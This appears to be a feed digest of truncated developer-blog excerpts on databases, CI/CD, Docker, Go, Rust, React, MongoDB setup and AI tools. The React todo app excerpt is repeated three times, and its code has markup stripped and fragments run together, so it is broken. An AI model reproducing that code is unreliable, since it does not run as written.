    A foreign key is a validation rule in the database that links one table to another by matching values. Imagine you have two tables: One called Orders, where you track purchases - like a unique order ID, date, and total. Another called Customers, where each customer has a unique ID, along with their name and contact details. which customer placed each order, you add a customer_id column to the Orders table. connect it to the Customers table. You do this by creating a foreign key - a link between Orders.customer_id and Customers.customer_id (the primary key). The foreign key ensures that the values in Orders.customer_id must exist in Customers.customer_id. The database won’t allow you to insert an order with a customer ID that doesn’t exist in the Customers table. If you try, it will r…  ( 7 min )
    Building, Securing, and Deploying a Go App with GitLab CI/CD EP 3: Sonarqube
    Welcome back to EP 3 of my CI/CD Security Series! In this episode, we’ll focus entirely on integrating SonarQube into your GitLab CI/CD pipeline. SonarQube is a powerful tool for automatically scanning your code for bugs, vulnerabilities, and code smells—right inside your pipeline. If you missed EP 1 and 2, make sure to check it out for a full overview of the complete CI/CD security flow. Now, let’s get our hands dirty and bring SonarQube into the pipeline! Getting Started with SonarQube After you log in to SonarQube, you’ll land on this dashboard: Start by clicking Create Project → Local Project. Now, name your project as you like. It’s a good idea to check your global settings here, too: Integrating SonarQube with GitLab CI/CD For this project, we’ll be using GitLab to build our …  ( 7 min )
    Building a React Todo App: Complete AbcD Guide..!
    Building a Todo App with React In this comprehensive tutorial, we'll build a fully functional todo application using React. Basic knowledge of JavaScript Understanding of React concepts Node.js installed npx create-react-app todo-app cd todo-app npm start function App() { const [todos, setTodos] = useState([]); return ( {todo.text} onToggle(todo.id)}>Toggle onDelete(todo.id)}>Delete { if (inputValue.trim()) { setTodos([...todos, { id: Date.now(), text: inputValue, completed: false }]); setInputValue(''); } }; Add some basic CSS for a clean look: .todo-item { display: flex; justify-content: space-between; padding: 10px; border: 1px solid #ddd; margin: 5px 0; } You now have a fully functional todo app! This project covers: Component composition State management with hooks Event handling Conditional rendering Next steps could include: Adding local storage Implementing drag and drop Adding due dates Creating categories Happy coding! 🚀  ( 6 min )
    Building Cursor Powered App: A Devlog Series, Powered by Cursor (Part 3) - Laying the Foundation with Packages
    Hey! Before we dive into login screens and token refresh logic, I want to take a step back and shine a light on something that rarely gets the attention it deserves: the supporting packages. They don't flash UI. They don't talk HTTP. But they are everything that makes the rest of the app possible. But first, a confession. I subscribed to Cursor Pro Yes, I paid actual money. And I have zero regrets. Why? Because coding with Cursor feels less like using a tool and more like pairing with a genius friend who never gets tired, judges my bad naming only silently, and finishes my half-baked ideas without drama X)). It's not just about giving it prompts. It's about building vibes. You teach Cursor your coding rituals, your quirks, your "I know it's ugly but it works" logic. And wow! it adapts. It'…  ( 6 min )
    OpenTofu CI/CD Guide: How to Automate Infrastructure Changes with Confidence
    OpenTofu is more than just a Terraform fork. It’s an open alternative built to restore community control over infrastructure as code (IaC) workflows—and it's quickly becoming a core part of modern CI/CD pipelines. But integrating OpenTofu into CI/CD isn't just a drop-in replacement. It requires a strategic approach to automation, security, and scale—especially if you're moving fast and managing cloud complexity across teams. In this guide, we’ll walk through how to design OpenTofu CI/CD pipelines that eliminate toil, prevent drift, and scale cleanly across environments. The promise of CI/CD for infrastructure is simple: ✅ Remove manual approval bottlenecks ✅ Ensure consistent, testable changes ✅ Catch misconfigurations early ✅ Accelerate delivery without increasing risk By integratin…  ( 6 min )
    The Right Way to Squeeze Out CPU Performance in Web Apps
    This article was translated, original article here. Modern browsers generally adopt a multi-process architecture, separating functions like network I/O, storage, and plugins into different processes. Crucially, an independent process is created for each newly opened tab. The benefits are obvious – a frozen page won't freeze the entire browser, nor affect other pages (with exceptions; when system resources are insufficient to create new processes, the browser may merge some tabs into the same process). A web application runs within a tab process, known as the ​​Renderer Process​​. This process handles various tasks for the entire webpage's operation. Typically, it maintains the following threads: ​​GUI Rendering Thread​​ ​​JavaScript Thread​​ ​​Timer Trigger Thread​​ ​​Event Trigger Thread​…  ( 10 min )
    Building a React Todo App: Complete Guide.
    Building a Todo App with React In this comprehensive tutorial, we'll build a fully functional todo application using React. Basic knowledge of JavaScript Understanding of React concepts Node.js installed npx create-react-app todo-app cd todo-app npm start function App() { const [todos, setTodos] = useState([]); return ( {todo.text} onToggle(todo.id)}>Toggle onDelete(todo.id)}>Delete { if (inputValue.trim()) { setTodos([...todos, { id: Date.now(), text: inputValue, completed: false }]); setInputValue(''); } }; Add some basic CSS for a clean look: .todo-item { display: flex; justify-content: space-between; padding: 10px; border: 1px solid #ddd; margin: 5px 0; } You now have a fully functional todo app! This project covers: Component composition State management with hooks Event handling Conditional rendering Next steps could include: Adding local storage Implementing drag and drop Adding due dates Creating categories Happy coding! 🚀  ( 5 min )
    Building, Securing, and Deploying a Go App with GitLab CI/CD EP 2: Linting, and Coverage Test in Your Go Pipeline
    Introduction Welcome back! In the last episode, we learned what CI/CD is and how to set up a simple pipeline in GitLab using Docker-in-Docker. Now, let’s make things more interesting by adding real Go code to our project. In this post, you’ll: Create a new file and paste in the Go code below: Set up a pipeline to lint (check) your code style automatically Run tests with coverage and see how well your code is tested Learn how to store and view these results in GitLab By the end, you’ll have a working Go app in CI/CD with code quality checks—just like a real pro! Step 1: Get the Example Go Project So you can follow along with exactly what I’m doing, here’s the same code I use: File Stucture Create a new file and paste in the Go code below: bank-api\cmd\server\main.go package main impor…  ( 13 min )
    Building a React Todo App: Complete Guide
    Building a Todo App with React In this comprehensive tutorial, we'll build a fully functional todo application using React. Basic knowledge of JavaScript Understanding of React concepts Node.js installed npx create-react-app todo-app cd todo-app npm start function App() { const [todos, setTodos] = useState([]); return ( {todo.text} onToggle(todo.id)}>Toggle onDelete(todo.id)}>Delete { if (inputValue.trim()) { setTodos([...todos, { id: Date.now(), text: inputValue, completed: false }]); setInputValue(''); } }; Add some basic CSS for a clean look: .todo-item { display: flex; justify-content: space-between; padding: 10px; border: 1px solid #ddd; margin: 5px 0; } You now have a fully functional todo app! This project covers: Component composition State management with hooks Event handling Conditional rendering Next steps could include: Adding local storage Implementing drag and drop Adding due dates Creating categories Happy coding! 🚀  ( 5 min )
    Best Translation Software for User Manuals
    If you’re looking for the best translation software for user manuals and you’re an organization that either manufactures or markets end-user products, you’re in the right place. Owner and service manuals are some of the most common types of documents companies translate using enterprise translation software. With so many software options on the market, it’s tough to know which solution will best serve your needs. Specifically regarding the translation of installation instructions, maintenance, use, parts, operation and more. That is, unless you have a list of features from translation industry veterans who have spent the last 20+ years providing the best solutions and translations for original equipment manufacturers. So take it from us. The following list of features are must-haves in tra…  ( 8 min )
    Now the layoffs … later software engineers will clean the vibecoding mess
    Let’s get straight to the point: AI is taking Software Engineers place, its faster to setup and bugless in the beginning… How about later? How about after some changes and some adjustments in the core of the applications because of business decisions and world changes? What will happen? Get ready and lets analyze it together. AI is already changing the way software is built. It’s not a matter of if, but how fast you’re willing to accept, understand, and adapt to it. Many predict that by the end of this decade, AI will be responsible for producing up to 90% of all code. From powerfull code assistants like cursor to vibecoding nocode like Replit… However, in the next two to three years, that number is unlikely to exceed 30%. Why the gap? While AI is excellent at producing results quickly, i…  ( 8 min )
    NPR Music: Sierra Hull: Tiny Desk Concert
    Sierra Hull brought her signature mandolin magic to NPR’s Tiny Desk after heating up a snowy night in Washington, D.C., with four punchy tracks from her latest album, A Tip Toe High Wire: the rapid-fire “Boom” and “Lord, That’s a Long Way,” plus the heartfelt “Spitfire” and “Muddy Water.” “Spitfire” honors Hull’s resilient granny—who survived the Depression, two widowhoods and more—while “Muddy Water” digs into Hull’s own songwriting surprises and urges listeners to show up as their true selves. It’s a cozy, barefoot-fan kind of set that proves this bluegrass star still owns the stage two decades in. Watch on YouTube  ( 5 min )
    Exploring Real-Time Communication with WebRTC in JavaScript
    Web Real-Time Communication (WebRTC) is a powerful API that allows web browsers to communicate in real time without the need for plugins or additional software. In this blog post, we will delve into the world of WebRTC and explore how JavaScript can be used to leverage its capabilities for building interactive and engaging web applications. WebRTC enables peer-to-peer communication between browsers, allowing for real-time audio, video, and data transfer. It consists of three main APIs: MediaStream, RTCPeerConnection, and RTCDataChannel. The MediaStream API provides access to the user's camera and microphone, allowing for capturing audio and video streams. Here's a simple example of accessing the user's camera using getUserMedia: navigator.mediaDevices.getUserMedia({ video: true, audio: tru…  ( 6 min )
    Building, Securing, and Deploying a Go App with GitLab CI/CD EP 1: Getting Started with GitLab CI/CD and Docker-in-Docker
    Introduction Welcome to the first episode of our CI/CD journey! GitLab CI/CD. We’ll also talk about a key concept called Docker-in-Docker—but don’t worry, I’ll break everything down in simple steps. By the end of this post, you’ll know: What GitLab CI/CD is and why it’s useful What a pipeline is (and why we need one) How Docker and Docker-in-Docker help us build and test code in CI/CD Ready? Let’s dive in! 1. What is GitLab CI/CD? CI/CD stands for Continuous Integration and Continuous Deployment. GitLab CI/CD is a feature of GitLab (a platform for hosting your code), which lets you build these automation “pipelines” right alongside your code. Why use it? Saves time: No more manual testing or deployment Catches bugs early: Automated checks run every time you push code Works for every pr…  ( 8 min )
    Commit Patterns
    Commit Patterns are a set of rules and conventions that guide how commit messages are written in version control systems like Git. The primary goal is to make the project history clearer, more organized, and easier to understand for all team members and for the developer themselves in the future. Why use Commit Patterns? Transparency: Each commit becomes a small story, concisely describing what was changed and why. Collaboration: It facilitates understanding of changes by other developers, speeding up code reviews and the integration of new features. Traceability: It allows you to quickly locate specific changes, identify bugs, and understand the project's evolution. Automation: Tools can be configured to automatically generate changelogs (lists of changes), version the software (sem…  ( 7 min )
    How I Trained an LLM to Debug My Git Workflows Intelligently
    Using prompt engineering, multi-model comparison, and context-aware chaining with Crompt AI Most developers rely on Git like muscle memory. Merge conflicts. Detached heads. Rebase loops. But what if you didn’t just query Git issues? That’s what I built. Not a full-blown custom-trained model (no finetuning needed). Here’s how I did it. I didn’t want “generic” help. I wanted: Help that could understand my branching model Reason through error logs in context Suggest fixes based on what I already tried Offer different perspectives if one model failed What I didn’t want: Reddit threads from 2016 Unhelpful ChatGPT-3.5 advice like “Try git reset --hard” Repeating the same prompt across 3 different windows The first step was to define how to describe my Git problem clearly to any model. txt Projec…  ( 7 min )
    Are Card Payments Really Safer Than You Think?
    As a developer, you’re right to be skeptical about payment security. You’ve seen the headlines about data breaches and sophisticated online card theft, understanding that a single vulnerability can compromise user trust and your company’s reputation. Every week brings headlines about another security incident, such as the massive 2024 breach at Ticketmaster that exposed the data of over 560 million users. We're often the ones responsible for implementing payment flows that handle sensitive financial data. The pressure to get it right is real. Modern card payment security has evolved into a sophisticated, multi-layered architecture that's far more resilient than most developers assume. While global card fraud reached over $33 billion in 2023, this represents just 6.58 cents for every $100 t…  ( 9 min )
    The Ultimate Guide to Docker: From Containers and Architecture to Hands-On Projects
    The Ultimate Guide to Docker: From Containers and Architecture to Hands-On Projects Part I: The Container Revolution: Why Modern Development Runs on Containers In modern software development, one of the most persistent and frustrating challenges has been ensuring that an application runs reliably across different computing environments. The infamous phrase, "but it works on my machine," has been the source of countless delays and headaches for development and operations teams alike. This problem arises from subtle differences in operating systems, library versions, and configurations between a developer's laptop, a testing server, and the production environment. Containerization emerged as the definitive solution to this problem, and Docker is the platform that brought this po…  ( 21 min )
    What Is Big Data? A Comprehensive Guide in 2025
    What Exactly Is Big Data? Breaking Down the Basics​ Big data is far more than just “large datasets”—it’s a dynamic ecosystem of information that defies the limitations of traditional data processing systems. To truly grasp its essence, we must dig deeper into its defining characteristics, which extend beyond size to encompass complexity, speed, and relevance. At its core, big data represents the digital exhaust of our interconnected world, generated by every click, sensor reading, transaction, and interaction.​ The 5Vs framework remains the gold standard for understanding its scope, but each “V” holds layers of nuance:​ Volume: This refers to the staggering scale of data creation. Consider that in 2024, global data generation reached 181 zettabytes (1 zettabyte = 1 trillion gigabytes)—a…  ( 10 min )
    Retail Data Analytics Services: Driving Smarter Business Decisions in 2025
    The retail industry is in the midst of a data revolution. With every customer interaction whether online, in-store, or through a mobile app retailers are collecting massive amounts of data. But collecting data is only the first step. The real value lies in turning that data into insights and that’s exactly what retail data analytics services help achieve. In today’s fast-paced, hyper-competitive environment, retailers can no longer rely solely on instinct or traditional metrics. From inventory optimization to personalized marketing and customer journey mapping, data analytics has become a strategic weapon for retailers aiming to boost profitability and stay relevant. This blog explores the core benefits, real-world applications, and key trends shaping retail data analytics in 2025. Retaile…  ( 8 min )
    How to Customize an AI Voice Bot Solution to Reflect Your Brand’s Tone, Vision, and CX Goals
    In 2025, voice is the new frontier of customer engagement. AI voice bots have moved beyond mere automation—they now serve as the audible face of your brand, engaging customers in real-time, resolving complex queries, and shaping customer perception in every interaction. But here’s the truth: even the most advanced AI voice bot can fall flat if it doesn’t sound like your brand. Whether you’re a luxury brand, a fintech startup, or a healthcare provider, the tone, flow, vocabulary, and emotional resonance of your AI voice bot must align with your brand identity, customer experience (CX) goals, and long-term vision. This in-depth guide walks you through how to customize an AI voice bot solution that not only performs but also embodies the voice of your brand—literally and figuratively. Before …  ( 9 min )
    Why You Should Use Zod Instead of TypeScript Alone
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    Task Manager API
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    How I Deal With Burnout Before It Starts
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    Artificial Intelligence is evolving fast — and so are the paradigms we use to build intelligent systems. Two prominent approaches have emerged in how we design and implement AI-based automation: AI Workflows and AI Agents. While they might seem similar at first glance, understanding their fundamental differences can help you make smarter architectural decisions and accelerate your automation goals. An AI Workflow is a structured, often linear sequence of tasks where each step is clearly defined. Think of it as a pipeline: you input data, it goes through a series of transformations or predictions, and you get an output. Each stage is modular, repeatable, and designed for consistency. Characteristics: step-by-step logic: Each component does one thing well — preprocessing, classification, su…  ( 6 min )
    OSE: The End of Programming Language Silos?
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    Project Go: From Zero to Deploy -(Project 2)
    Originally posted on Medium Building a Simple RESTful API with Go (and Gorilla Mux) by Arpit Mishra Photo by Chinmay B on Unsplash Every Go application starts with the main package. It's the entry point of our program. We'll also need a few essential packages: package main import ( "encoding/json" // For encoding and decoding JSON data "fmt" // For formatted I/O (like printing to the console) "log" // For logging errors and messages "net/http" // Go's built-in HTTP package for web servers "strconv" // For converting strings to integers (and vice-versa) "github.com/gorilla/mux" // Our powerful router for handling HTTP requests ) Defining Our Data Structure: The User Struct Before we start handling requests, we need to define what a “user” looks like …  ( 9 min )
    🚀 9 Libraries to Boost Your Productivity as a React Developer
    Introduction The React ecosystem is packed with thousands of libraries, but only a handful actually make a meaningful difference in your day-to-day development. Below you'll find the list of libraries, mentioned by the React community, that consistently boost productivity and solve common development challenges. This article covers the essential tools that can streamline your workflow. For the complete version with developer feedback for each library, check out the full article on SVAR's blog. TanStack Query (formerly React Query) manages asynchronous server state management and caching with automatic background updates. It simplifies fetching, caching, synchronizing and updating server state in your React app. You can use it out-of-the-box and customize while your app scales. When to u…  ( 8 min )
    How to Set Realistic Project Duration Goals and Optimize Resource Needs
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    What Is Workflow Automation? Boost Business Efficiency Today
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    How to Do MongoDB Indexes
    You just finished building an awesome feature that involves some new database queries. You have added unit tests, you carefully validated it in your test environment, and you deployed it to production, waiting for cheers and happy feedback. Except that... your database suddenly implodes, because one of your new queries is extremely slow, taking down the whole database cluster (and your application) with it as well. Sound familiar? Here's how we avoid it. But first of all: What was the issue, actually? You tested everything, even in a real environment, right? Right, but not with a real data volume. In this case, your query was using a collection scan because it was not able to use an index. And while this worked locally and in your test environment, data volume on production was orders of m…  ( 9 min )
    🧬 Generate Dart Models from JSON — Meet json_model_gen
    I just released json_model_gen, a CLI tool that turns raw JSON into clean Dart model classes — right from your terminal. ✨ Why use it? 🔄 Convert raw JSON into Dart models 🚀 Quick Start dart pub add json_model_gen Run it: dart run json_model_gen Or use all flags: dart run json_model_gen \ --input=raw.json \ --output=lib/user_model.dart \ --class=UserModel \ --freezed \ --equatable \ --nullable 📌 Example Output Given: { "id": 1, "name": "Alice", "active": true } You get: @freezed class UserModel with _$UserModel { const factory UserModel({ int? id, String? name, bool? active }) = _UserModel; factory UserModel.fromJson(Map json) => _$UserModelFromJson(json); } 🧠 Why I built this`` I wanted a tool that fits right into your local dev workflow — no switching tabs, just raw JSON → model class in seconds. Also useful to keep the JSON alongside models for better documentation. Try it out from pub.dev and let me know what you think! 💬 https://pub.dev/packages/json_model_gen)] Feedback, ideas, and PRs are always welcome 🚀  ( 5 min )
    IGN: Silent Hill f: What We Think After Playing 5 Hours
    Silent Hill f hooked me from the first moments in Ebisugaoka—the eerie atmosphere and layered worldbuilding lingered in my mind long after logging off. In just five hours, Esra Krabbe’s preview teases a compelling blend of old-school scares and fresh storytelling that makes this next chapter in the Silent Hill saga one of the most intriguing horror showcases in years. Watch on YouTube  ( 5 min )
    Test creation methods on steroids with named parameters
    In my previous blog post about writing high quality tests I mentioned that writing test code in the most minimalistic way will improve maintainability in the long run by a lot. One pattern that helps with that is the creation method pattern, especially when the object to be created is complex to set up and some of the required attributes are not important for the test at hand. Also, it helps to avoid using the constructor of objects directly making it a lot easier to adjust the tests when the constructor changes. The original description of the creation method pattern has some variations, the two most important ones for this blog post being: Anonymous Creation Method Parameterized Creation Method In the examples of the pattern description there are methods like createAnonymousCustomer or c…  ( 7 min )
    Lightweight Flutter Development Environment Setup for Beginners
    When I first started with Flutter, I was hyped. That excitement lasted right up until I installed Android Studio and realized I had just turned my humble laptop into a jet engine. Everything lagged. My RAM was crying. Booting a sample app felt like launching Photoshop… three times. If you’ve got a low-end PC or just don’t want to waste half your RAM on tools you don’t need, I’ve got some good news: you can build Flutter apps without Android Studio or an emulator, and the experience is way smoother than you’d expect. In this post, I’ll show you a lean, beginner-friendly setup that’s fast, easy, and runs great on modest machines. You’ll go from installing Flutter to running your first app on a real Android device, no bloat, no sweat. Resource hog: Android Studio is heavy, especially on lower…  ( 7 min )
    How can Developers 💪help💪 or 💥hurt💥 Sprint Planning?
    How can Developers 💪help💪 or 💥hurt💥 Sprint Planning? The goal of the Sprint Planning is to create a common understanding of what can be accomplished during the Sprint. 1️⃣ Why should our stakeholders want to pay💸 for this sprint? 2️⃣ What can we deliver🎁 to our customers to achieve this? 3️⃣ How will we organize ourselves to get it Done✅? Developers play a crucial role in answering these three questions. As such, their behavior will make or break this event, and the Sprint itself.😱 Hurts: 💥 Detailing out as much work as possible 💥 Assigning work to individual team members 💥 Using a "Definition of Ready" as an excuse not to start Helps: 💪 Negotiating goal and scope with an emphasis on what is possible 💪 Work on broad-stroking a design with the team, stakeholders and experts 💪 Bring potential complications to the table, like new tech, external dependencies or (known) issues Congrats, you read the whole thing! To prove your dedication as Agile Professional, let me know what behaviors I missed!  ( 5 min )
    Advanced Form Handling with Laravel and Inertia.js
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    Simple Concurrency with Channels in std::sync::mpsc
    Simple Concurrency with Channels in std::sync::mpsc In the world of modern software development, concurrency is no longer optional—it's essential. Whether you're building real-time systems, handling I/O-bound tasks, or working on a high-performance application, your code needs to multitask effectively. But how do we communicate safely between threads in Rust, a language that prioritizes safety and performance? The answer lies in message passing, a concurrency model that allows threads to share data without the need for explicit locking. Rust’s standard library provides an elegant solution for this: channels via std::sync::mpsc. In this post, we’ll explore how to use channels to build a simple producer-consumer pattern, discuss best practices, and understand how to avoid common pitfalls. …  ( 8 min )
    Understanding Sized, Copy, and Clone Traits
    Understanding Sized, Copy, and Clone Traits in Rust Rust is an incredible language for systems programming, offering unparalleled control over memory management and performance. However, this power comes with a learning curve, especially when it comes to understanding traits like Sized, Copy, and Clone. These traits are foundational to Rust's type system, yet they can be confusing for newcomers and even seasoned developers. In this post, we'll demystify these traits, explore their purposes, and dive into practical applications. By the end of this article, you'll have a solid understanding of what makes types sized or copyable, when to use these traits, and how to avoid common pitfalls. Sized, Copy, and Clone Matter Rust's strict ownership model is one of the language's defining feature…  ( 8 min )
    Advanced C# Serialization: Beyond JSON
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    Java Base Concepts
    1. Java Data Types Explanation: data type defines what kind of value a variable can hold. It tells the compiler how much memory to reserve and how to interpret the data. These are the most basic data types. Java has 8 of them: int – for integers like 10, 200, -5 float, double – for decimal values like 3.14 char – for single characters like 'A', 'z' boolean – only true or false These are more complex types built using primitives: String – stores text Array – stores multiple values Class, Interface – used in object-oriented programming Official Reference: https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html Explanation: static or non-static (also called instance members). Shared across all objects. You don’t need to create an object to access it. class Example { …  ( 6 min )
    Rockchip RK3688: The Future of ARM-Based Development and Programming
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    Redis Pub/Sub vs Laravel Reverb: Real-Time Laravel at Its Best
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    Introducing hyperwiz: The Next-Generation TypeScript HTTP Client
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    How Bio AI Software Engineers Fit into Biotech Software Engineering
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    Non Disclosure Agreement vs Contract: Understanding the Legal Basics
    In the tech and startup ecosystem, protecting your ideas is just as important as building them. Whether you're hiring a developer, pitching an investor, or outsourcing work, it's crucial to know the legal tools at your disposal. That’s where the non disclosure agreement (NDA) comes in—but how does it differ from a traditional contract? Let’s break it down in simple terms. A non disclosure agreement is a legal document designed to keep information private. If you’re sharing your app idea, product strategy, or backend architecture with someone outside your team, an NDA ensures they can’t leak or misuse that information. It’s commonly used in: Hiring freelancers or consultants Partnership or investor discussions Internal R&D or prototype development IP or source code protection A contract defines the full working relationship between two or more parties. It includes: What will be delivered Who’s responsible for what Payment terms and deadlines Termination clauses And sometimes… confidentiality sections It’s broader in scope and focuses on the "what" and "how" of collaboration. An NDA focuses on secrecy. A contract focuses on deliverables. You’ll often need both. If you’re building something valuable, start every serious conversation with a non disclosure agreement. And when it’s time to execute, use a detailed contract. Both serve different but equally important roles—and understanding the distinction can save you from legal headaches down the line.  ( 5 min )
    Wazuh 4.12 Telegram Alert Integration (with SSH Login Alerts)
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    How I Built a Complete Invoice Management API with Spring Boot
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    AI Assistant: Your Guide to the Best Productivity Tool
    Ever asked ChatGPT to rewrite a tricky message, used Notion AI to summarize a doc, or let Reclaim auto-schedule your tasks? Then you've already felt the power of AI Assistants in action. AI assistants are built to quietly handle the routine tasks: drafting emails, summarizing docs, managing your calendar, or responding to routine messages. Therefore, you can focus on high-value works. That means spending more time on strategy, creative problem-solving, or connecting with your team, things that move projects forward.  The best part? You don’t have to settle for off-the-shelf tools. You can build your own AI assistant tailored to your role, your team, and your workflow. This guide will walk you through how AI assistants work, what they’re capable of, and how to build the right one for your w…  ( 12 min )
    Great article! API mocking is so important
    Why I Switch from Postman to Apidog for API Mocking? Fallon Jimmy ・ Aug 1 #programming #webdev #beginners #tutorial  ( 4 min )
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    Axero Frontend Challenge: Building a Dynamic Office Intranet Interface jayesh koli ・ Jul 27 #devchallenge #frontendchallenge #css #javascript  ( 4 min )
    Integration Digest for July 2025
    Articles 🔍 10 Top API Testing Tools For 2025 Covers ten top API testing tools for 2025, including Postman, Katalon Studio, SoapUI, JMeter, and others, evaluating their benefits and drawbacks for different testing scenarios. The article emphasizes that the best tool depends on your specific needs and provides recommendations for choosing between different options. 🔍 3 Ways to String Multiple APIs Together Explores three approaches for connecting multiple APIs: serialized flows (piping output from one API to another), specification-driven sequences using Arazzo Specification for formal workflow definition, and AI-orchestrated connections using LLMs to determine next API calls. The article emphasizes that the choice depends on your system architecture and notes that API connectivity is ra…  ( 10 min )
    Top 5 Causes of Cost Overrun in Project Management
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    Why I Switch from Postman to Apidog for API Mocking?
    Are you tired of clunky API mocking workflows slowing down your development process? I was too, until I discovered how Apidog's intuitive mocking capabilities transformed my testing experience. While both tools offer API mocking, Apidog's smart features and streamlined workflow have made me wonder why I waited so long to make the switch. API mocking serves as a critical bridge during development phases when backend endpoints remain incomplete. These mock APIs create realistic simulations of backend behavior, enabling front-end developers to continue building without waiting for finalized backend code. I've extensively used Both Postman and Apidog for API mocking, and their approaches couldn't be more different. Let me walk you through three real-world scenarios that convinced me to make th…  ( 8 min )
    Git for Beginners – A Visual Introduction
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    Naming Conventions in React: camelCase or snake_case?
    What we use as our naming convention often goes back to the language we are using and the preferences of the team we are working within. In JavaScript, we usually use camelCase, and everything is fine with it. So, you might wonder, why would I even mention snake_case in this article? One answer could be team preference or that it is easier to read. However, the main reason I wrote this article is that in some projects, you are integrating with a backend language that uses snake_case for variables. If you use camelCase, you sometimes have to transform them to snake_case. This transformation may be easier if you used snake_case in your app as well. Obviously, you can use both naming conventions in your project, but it is not advised. Mixing them may result in your code not being clean, so you have to choose one of them. Well, nobody prohibits you from using a naming convention other than the one advised by the language you use. You can use snake_case throughout your application, except for things you cannot change (like component and hook names). My problem with this solution is that it seems odd to me. I'm okay with it when we use it for variables like is_visible, but when it comes to functions, it looks a little bad in my opinion. For example, you call your function like this: on_submit(). Or if you want to use useState: const [has_initial_value, set_has_initial_value] = useState(false) It just doesn't feel like React anymore, but you may have a really valid question: who cares if it feels like React or not? So, I'm asking you this: What do you think about naming conventions in React applications? I would love to read your comments below. Have a great day! Note: Cover image used in this blog post was generated by AI.  ( 5 min )
    Roadmap for Bio AI Software Engineer role
    Hi, I'm trying to define what is needed to become a role I call Bio AI Software Engineer. It's a fresh thing, but based on what I saw is becoming popular and will potentially be the next boom in the near future. If anyone is interesting in joining the journey with me here is a github repo where I publish resources and links to them: roadmap You can also track my journey on my blog - my roadmap. Cheers!  ( 5 min )
    10 Agentic AI Hidden Benefits No One Tells You
    Are you a developer or tech leader struggling to get real, actionable value from AI tools? Over 73% of organizations invest in AI, yet more than half admit they don’t fully understand how to use it effectively in real-world scenarios. There’s a quiet revolution happening inside Agentic AI systems especially the knowledge-based agents, that’s packed with practical benefits few are talking about. These are the tools savvy engineers and forward-thinking business teams are quietly leveraging to streamline logic, automate intelligent decisions, and scale smarter than ever. Let’s break the silence. Before we dive deep, let’s ground ourselves. An agent in artificial intelligence is anything that can perceive its environment and act upon it. When you combine that with deep logic, memory, and conte…  ( 8 min )
    IGN: Donkey Kong Bananza: All Radiance Layer Challenge Rooms | Locations and Solutions
    TL;DR Donkey Kong Bananza’s Radiance Layer is a mystery-packed maze where every shadow hides a secret. This video guide timestamps six thrilling battles—like “Some Light Smashing” and “Shining Through”—plus five multi-part challenge courses such as the sand-sneaking “Snake Bananza: Charged Climb” and the moody “Surfing in Shadow,” each broken into three neat segments. On top of that, you’ll unlock every Battle Challenge, Course trial, and a golden “Blasting for Gold” bonus stage. Whether you’re hunting glowing fruit, scaling girders, or sticking to the shadows, this guide lights the way through every nook and cranny. Watch on YouTube  ( 5 min )
    Plan of Action: MongoDB 8.0 - 3 Node Replica Set on Air-Gapped RHEL 8.9
    🧾 Plan of Action: MongoDB 8.0 - 3 Node Replica Set on Air-Gapped RHEL 8.9 📘 Overview Goal: Setup a MongoDB 8.0 replica set with 3 RHEL 8.9 air-gapped servers Nodes: 3 (Primary, Secondary, Secondary/Arbiter) No Internet access on servers RPMs and config provided from an internet-enabled Windows machine Node Hostname Role 1 mongo-node1 Primary 2 mongo-node2 Secondary 3 mongo-node3 Secondary RHEL 8.9 installed Static IP or /etc/hosts updated for inter-node resolution Ports open: 27017/tcp SELinux set to permissive or configured Firewall open: sudo firewall-cmd --add-port=27017/tcp --permanent sudo firewall-cmd --reload Visit: https://repo.mongodb.org/yum/redhat/8/mongodb-org/8.0/x86_64/RPMS/ Download: mongodb-org-8.0.0-1.el8.x86_64.rpm mongodb-org-ser…  ( 7 min )
    RULETA PREMIOS by KEV
    Check out my new prize wheel! git @soykeviin  ( 4 min )
    遠端使用 ollama 的方法
    ollama 除了可以在本機使用外,也可以從遠端連接,不過預設 ollama 只接受本機的連線,無法從遠端連接。 要讓 ollama 接受遠端連線,必須在啟動 ollama 服務前設定 OLLAMA_HOST 環境變數為 0.0.0.0,否則就只會接收本機連線。設定環境變數時可設定為 0.0.0.0 保留預設連接埠 11434,或是也可以同時指定連接埠,像是 0.0.0.0:11434,不過不建議更改連接埠,以維持最大的相容性。 在安裝完 ollama 後,你可以利用以下指令查看目前 ollama 監聽的 IP: netstat -ano | findstr ":11434" 輸出如下,可以看到目前只監聽本機迴路的 IP: TCP 127.0.0.1:3923 127.0.0.1:11434 TIME_WAIT 0 TCP 127.0.0.1:11434 0.0.0.0:0 LISTENING 21544 也可以透過測試連線來確認,首先取得本機的 IP 位址: Get-NetIPAddress | Select-Object IPAddress, InterfaceAlias, AddressFamily | Where-Object {$_.AddressFamily -eq 'IPv4'} IPAddress InterfaceAlias AddressFamily --------- -------------- ------------- 172.19.144.1 vEthernet (WSL (Hyper-V firewall)) …  ( 8 min )
    Intro to statistics for Bio AI Software Engineers
    What is statistics? When we talk about statistics we can talk about statistics as a field - a practice and stufy of collecting and analysing data - or as a summary of some data. More important question is what can statistics do? It can help in answering business questions like: Are people more likely to make a purchase if we change X on your website? How many people will buy our product? How many sizes of shoes should we make so 90% of our customer base would fit them? Which ads will bring more meaningfull traffic and make people buy our product? Another question worth answering is: What statistics can't do? It won't be able to answer questions with wrong assumptions, that we aren't sure are the reason for sth happening. For example: Why is Game of Thrones so popular? We can ask ours…  ( 8 min )
    Why I Bet on AI Without a Backup, and Why You Should Also
    The White Shirt Theory: Why I Bet on AI Without a Backup Plan Jaideep Parashar ・ Aug 1 #ai #aiops #chatgpt #programming  ( 5 min )
    Self-Learning Burnout is Real: Here’s How I Beat It
    Introduction In this blog, I will share how I self-learn without burning out, based on real struggles and working solutions. What Causes Burnout While Self-Learning? Not Knowing Where You Stand No Visible Progress Resource Overload As a result of hopping between resources without mastering anything, our learning remains surface level. Over planning Instead of Taking Action We often set overly ambitious goals like “I will master this topic in 30 days” or “I will watch 10 videos every day” without considering our actual capacity or consistency. Inconsistent Learning We may study one day then take a one week break. When we come back, we don’t even remember where the head and tail of the topic are. We are confused, disconnected, and often have to start all over again. It drains our m…  ( 7 min )
    𝗘𝗮𝘀𝘆 𝗔𝘂𝘁𝗵 𝗶𝗻 𝗔𝘇𝘂𝗿𝗲 𝗔𝗽𝗽 𝗦𝗲𝗿𝘃𝗶𝗰𝗲
